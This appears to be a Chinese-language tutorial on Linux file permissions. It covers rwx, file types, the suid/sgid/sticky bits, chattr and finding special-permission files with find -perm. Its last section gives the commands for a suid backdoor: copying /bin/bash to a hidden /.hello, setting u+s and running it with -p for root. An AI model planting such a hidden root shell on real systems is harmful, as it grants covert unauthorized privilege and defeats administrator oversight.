在linux中一切皆为文件!

   linux的基本文件权限是r,w,x。r对文件时是可读的权限,对目录来说是是否能看见目录中的内容。w对文件是可写权限,对目录来说是是否在该目录中写文件。x权限对文件来说是执行权限,对目录来说是是否可以进入该目录。  

   用ll查看一个文件,一个文件有10个文件头信息符号位,第一个是标示文件类型,中间3个一组分别是user,group,other。文件类型有:‘-’表示文件、‘d’表示目录、‘b’块设备、‘c’字符设备、‘l’链接文件、‘s’socket文件、FIFO管道文件。socket文件与网络通信有关,如/dev/log。block设备表示磁盘文件和光盘等,如/dev/sr0。character设备表示按照字符操作中断和设备等,如/dev下的终端设备。管道文件用来提供进程通信的一种方式。

   linux文件的特殊权限。suid,sgid,sbit(粘贴位)。suid对于可执行的文件进行设定,如/usr/bin/passwd命令,使每个执行此命令的用户都能以拥有人的权限取执行该命令,当文件不具备执行权限x时会显示为S。sgid同suid一样使该文件执行时以拥有组的权限来执行。sbit对目录进行设置,只有root和该文件拥有人可以删除该文件,例如在/tmp下放置的是所有用户的临时文件,对/tmp设置t权限不容易误删除别人的文件,当无x时权限为显示为T。当sgid对目录设置时,在该目录下创建文件和目录时所属组不变,常用于开发环境中。

   对于特殊权限。suid--4,guid--2,sbit--1.利用chmod  7777 file 来设置权限。

   linux文件的隐藏属性。可利用lsattr来查看,设置的时候用chattr。具体设置可用#man chattr 来查看。

   查看文件权限的命令chown,chmod,chgrp,lsattr,chattr。

   查找相关权限的方法:

       #find / -perm (/)(-)(+)mode

       mode只匹配所需求权限。-mode特殊权限位有即可匹配,普通权限任意匹配。 +mode匹配所有包含查找的特殊和普通文件权限的文件。/mode与+mode相当。

   查找带有特殊权限的文件的命令

       #find / -perm /7000 或 #find / -perm +7000  


**利用suid权限留下后门:将/bin/bash复制到/.hello,给予文件s的权限,用普通用户执行./.hello文件则会直接以root的权限运行shell。

   #cp /bin/bash  /.hello

   #chmod u+s /.hello

   #su - user

   $./.hello -p

       .hello-4.1#可以用root权限执行命令。

   #id 查看会发现euid=root